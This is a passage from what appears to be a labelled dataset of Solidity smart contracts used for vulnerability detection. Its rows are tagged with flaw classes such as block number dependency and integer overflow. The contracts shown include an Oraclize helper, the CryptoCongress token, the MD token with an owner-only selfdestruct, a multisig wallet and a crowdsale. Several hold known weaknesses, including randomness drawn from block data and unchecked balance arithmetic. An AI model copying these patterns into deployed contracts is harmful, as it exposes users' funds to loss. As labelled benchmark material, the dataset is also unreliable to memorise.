48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, """", """", """"); } function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { require((_proof[0] == ""L"") && (_proof[1] == ""P"") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; require(to.length >= minLength); uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { uint256 public fundingEndBlock; function transfer(address _to, uint256 _value) returns (bool success) { require (block.number > fundingEndBlock); if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (block.number > fundingEndBlock); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { require (block.number > fundingEndBlock); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract CryptoCongress is StandardToken, SafeMath, usingOraclize { mapping(bytes => uint256) initialAllotments; mapping(bytes32 => bytes) validQueryIds; string public constant name = ""CryptoCongress""; string public constant symbol = ""CC""; uint256 public constant decimals = 18; string public constant requiredPrefix = ""CryptoCongress ""; string public constant a = ""html(https://twitter.com/""; string public constant b = ""/status/""; string public constant c = "").xpath(//*[contains(@class, 'TweetTextSize--jumbo')]/text())""; address public ethFundDeposit; uint256 public fundingStartBlock; uint256 public totalSupply = 0; uint256 public totalSupplyFromCrowdsale = 0; uint256 public constant tokenExchangeRate = 30; uint256 public constant tokenCreationCap = 131583 * (10**3) * 10**decimals; event InitialAllotmentRecorded(string username, uint256 initialAllotment); event newOraclizeQuery(string url); event newOraclizeCallback(string result, bytes proof); event InitialAllotmentClaimed(bytes username); event Proposal(string ID, string description, string data); event Vote(string proposalID, string vote, string data); function CryptoCongress ( address _ethFundDeposit, uint256 _fundingStartBlock, uint256 _fundingEndBlock) payable { ethFundDeposit = _ethFundDeposit; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; oraclize_setProof(proofType_TLSNotary); } function createInitialAllotment( string username, uint256 initialAllotment) { require (msg.sender == ethFundDeposit); require (block.number < fundingStartBlock); initialAllotments[bytes(username)] = initialAllotment; InitialAllotmentRecorded(username, initialAllotment); } function claimInitialAllotment(string twitterStatusID, string username) payable { bytes memory usernameAsBytes = bytes(username); require (usernameAsBytes.length < 16); require (msg.value > 4000000000000000); require (block.number > fundingStartBlock); require (block.number < fundingEndBlock); require (initialAllotments[usernameAsBytes] > 0); string memory url = usingOraclize.strConcat(a,username,b,twitterStatusID,c); newOraclizeQuery(url); bytes32 queryId = oraclize_query(""URL"",url); validQueryIds[queryId] = usernameAsBytes; } function __callback(bytes32 myid, string result, bytes proof) { require (msg.sender == oraclize_cbAddress()); newOraclizeCallback(result, proof); require (initialAllotments[validQueryIds[myid]] > 0); require (block.number > fundingStartBlock); require (block.number < fundingEndBlock); bytes memory resultBytes = bytes(result); require (resultBytes.length == 57); require (resultBytes[0] == 0x43); require (resultBytes[1] == 0x72); require (resultBytes[2] == 0x79); require (resultBytes[3] == 0x70); require (resultBytes[4] == 0x74); require (resultBytes[5] == 0x6f); require (resultBytes[6] == 0x43); require (resultBytes[7] == 0x6f); require (resultBytes[8] == 0x6e); require (resultBytes[9] == 0x67); require (resultBytes[10] == 0x72); require (resultBytes[11] == 0x65); require (resultBytes[12] == 0x73); require (resultBytes[13] == 0x73); require (resultBytes[14] == 0x20); require (resultBytes[15] == 0x30); require (resultBytes[16] == 0x78); uint addrUint = 0; for (uint i = resultBytes.length-1; i+1 > 15; i--) { uint d = uint(resultBytes[i]); uint to_inc = d * ( 15 ** ((resultBytes.length - i-1) * 2)); addrUint += to_inc; } address addr = address(addrUint); uint256 tokenAllotment = initialAllotments[validQueryIds[myid]]; uint256 checkedSupply = safeAdd(totalSupply, tokenAllotment); require (tokenCreationCap > checkedSupply); totalSupply = checkedSupply; initialAllotments[validQueryIds[myid]] = 0; balances[addr] += tokenAllotment; InitialAllotmentClaimed(validQueryIds[myid]); delete validQueryIds[myid]; Transfer(0x0,addr,tokenAllotment); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(msg.value != 0); require (block.number > fundingStartBlock); require (block.number < fundingEndBlock); uint256 tokens = safeMult(msg.value, tokenExchangeRate); uint256 checkedTotalSupply = safeAdd(totalSupply, tokens); uint256 checkedCrowdsaleSupply = safeAdd(totalSupplyFromCrowdsale, tokens); require (tokenCreationCap > checkedTotalSupply); require (safeMult(checkedCrowdsaleSupply, 3) < totalSupply); totalSupply = checkedTotalSupply; totalSupplyFromCrowdsale = checkedCrowdsaleSupply; balances[msg.sender] += tokens; Transfer(0x0, beneficiary, tokens); } function secureTransfer(uint256 amount) external { require (msg.sender == ethFundDeposit); assert (ethFundDeposit.send(amount)); } function propose(string _ID, string _description, string _data) { require(bytes(_ID).length < 281 && bytes(_description).length < 281 && bytes(_data).length < 281); require (balances[msg.sender] > 70000000000000000000000); Proposal(_ID, _description, _data); } function vote(string _proposalID, string _vote, string _data) { require(bytes(_proposalID).length < 281 && bytes(_vote).length < 281 && bytes(_data).length < 281); require (balances[msg.sender] > 50000000000000000000000); Vote(_proposalID, _vote, _data); } function () payable { buyTokens(msg.sender); } }",./Dataset/block number dependency (BN),0,0 963.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract MD { using SafeMath for uint256; string public constant name = ""MD Token""; string public constant symbol = ""MD""; uint public constant decimals = 18; uint256 _totalSupply = 3500000000 * 10**decimals; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; address public owner; modifier ownerOnly { require( msg.sender == owner, ""Sender not authorized."" ); _; } function totalSupply() public view returns (uint256 supply) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); constructor(address _owner) public{ owner = _owner; balances[owner] = _totalSupply; emit Transfer(0x0, _owner, _totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && balances[_to].add(_value) > balances[_to]) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to].add(_value) > balances[_to]) { balances[_to] = _value.add(balances[_to]); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } else { return false; } } function changeOwner(address _newowner) public ownerOnly returns (bool success) { owner = _newowner; return true; } function kill() public ownerOnly { selfdestruct(owner); } }",./Dataset/integer overflow (OF)/,4,4 33838.sol,"pragma solidity 0.4.18; contract Factory { /* * Events */ event ContractInstantiation(address sender, address instantiation); /* * Storage */ mapping(address => bool) public isInstantiation; mapping(address => address[]) public instantiations; /* * Public functions */ /// @dev Returns number of instantiations by creator. /// @param creator Contract creator. /// @return Returns number of instantiations by creator. function getInstantiationCount(address creator) public constant returns (uint) { return instantiations[creator].length; } /* * Internal functions */ /// @dev Registers contract in factory registry. /// @param instantiation Address of contract instantiation. function register(address instantiation) internal { isInstantiation[instantiation] = true; instantiations[msg.sender].push(instantiation); ContractInstantiation(msg.sender, instantiation); } } /// @title Multisignature wallet factory - Allows creation of multisig wallet. /// @author Stefan George - <[email protected]> contract MultiSigWalletFactory is Factory { /* * Public functions */ /// @dev Allows verified creation of multisignature wallet. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @return Returns wallet address. function create(address[] _owners, uint _required) public returns (address wallet) { wallet = new MultiSigWallet(_owners, _required); register(wallet); } } /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function () public payable { revert(); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LockableChanges is Ownable { bool public changesLocked; modifier notLocked() { require(!changesLocked); _; } function lockChanges() public onlyOwner { changesLocked = true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract GENSharesToken is StandardToken, Ownable { using SafeMath for uint256; event Mint(address indexed to, uint256 amount); event MintFinished(); string public constant name = ""GEN Shares""; string public constant symbol = ""GEN""; uint32 public constant decimals = 18; bool public mintingFinished = false; address public saleAgent; modifier notLocked() { require(msg.sender == owner || msg.sender == saleAgent || mintingFinished); _; } function transfer(address _to, uint256 _value) public notLocked returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) { return super.transferFrom(from, to, value); } function setSaleAgent(address newSaleAgent) public { require(saleAgent == msg.sender || owner == msg.sender); saleAgent = newSaleAgent; } function mint(address _to, uint256 _amount) public returns (bool) { require(!mintingFinished); require(msg.sender == saleAgent); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() public returns (bool) { require(!mintingFinished); require(msg.sender == owner || msg.sender == saleAgent); mintingFinished = true; MintFinished(); return true; } } contract CommonCrowdsale is Ownable, LockableChanges { using SafeMath for uint256; uint public constant PERCENT_RATE = 100; uint public price; uint public minInvestedLimit; uint public hardcap; uint public start; uint public end; uint public invested; uint public minted; address public wallet; address public bountyTokensWallet; address public devTokensWallet; address public advisorsTokensWallet; uint public bountyTokensPercent; uint public devTokensPercent; uint public advisorsTokensPercent; struct Bonus { uint periodInDays; uint bonus; } Bonus[] public bonuses; GENSharesToken public token; modifier saleIsOn() { require(msg.value >= minInvestedLimit && now >= start && now < end && invested < hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner notLocked { hardcap = newHardcap; } function setStart(uint newStart) public onlyOwner notLocked { start = newStart; } function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner notLocked { bountyTokensPercent = newBountyTokensPercent; } function setAdvisorsTokensPercent(uint newAdvisorsTokensPercent) public onlyOwner notLocked { advisorsTokensPercent = newAdvisorsTokensPercent; } function setDevTokensPercent(uint newDevTokensPercent) public onlyOwner notLocked { devTokensPercent = newDevTokensPercent; } function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner notLocked { bountyTokensWallet = newBountyTokensWallet; } function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner notLocked { advisorsTokensWallet = newAdvisorsTokensWallet; } function setDevTokensWallet(address newDevTokensWallet) public onlyOwner notLocked { devTokensWallet = newDevTokensWallet; } function setEnd(uint 